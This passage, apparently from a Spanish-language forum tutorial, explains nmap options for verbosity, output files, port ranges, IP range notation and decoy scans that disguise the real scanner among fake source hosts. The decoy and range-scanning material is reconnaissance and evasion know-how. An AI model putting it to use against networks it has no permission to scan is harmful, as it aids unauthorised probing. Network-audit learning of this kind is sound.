-v esta opcion les sera util si lo que quieren es mantenerse mas al tanto de lo que ocurre durante el escaneo y ya si quieren volverse locos con mas letras en pantalla usen varias veces la opcion –d.

-h vean esta opcion si lo que quieren es saber las diversas opciones que tiene esta gran herramienta.

 -o <nombre_archivo> Esta opcion nos funcionara si lo que queremos es guardar un tipo informe comprensible de nuestro escaneo.

-p <rango_puertos> de esta forma se especifican los puertos a escanear, por ejemplo “-p 80” solo escanea el Puerto 80”, mientras que “-p 80,10-19,139-” realizara un escaneo del Puerto 80 asi como tambien de los puertos 10 al 19 y 139 en delante.

-D <senuelo1, senuelo2, senuelo3…> Con esta opcion lo que hacemos es que el host escaneado “piense” que la red de destino del escaneo esta siendo escaneada tambien por los host utilizados como senulos. Cabe decir que los host que utilicemos como senuelos lo mejor sera que esten activos es ese momento ya que en caso contrario podriamos probocar un flood al host escaneado, asi como tambien si todos los senuelos esta inactivos, de nada servira haber usado esta opcion…

Cabe decir que para especificar la ip de destino tambien lo podemos hacer con una notacion que nos permita escanear varias ips o en su defecto un rango completo, ejemplo:
192.168.1.1-34
Nos escaneara todas las ips que van desde 192.168.1.1 hasta la direccion 192.168.1.34.
O tambien podemos poner 192.168.1.*
De este modo se escanearan todas las ips que esten dentro del rango 192.168.1.xx.

Estan son solo unas de las diversas opciones de nmap que les seran bastante utiles al momento de realizar un escaneo de puertos y el hecho de poderlas usar todas en conjunto lo hacen una herramienta eficaz por excelencia.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines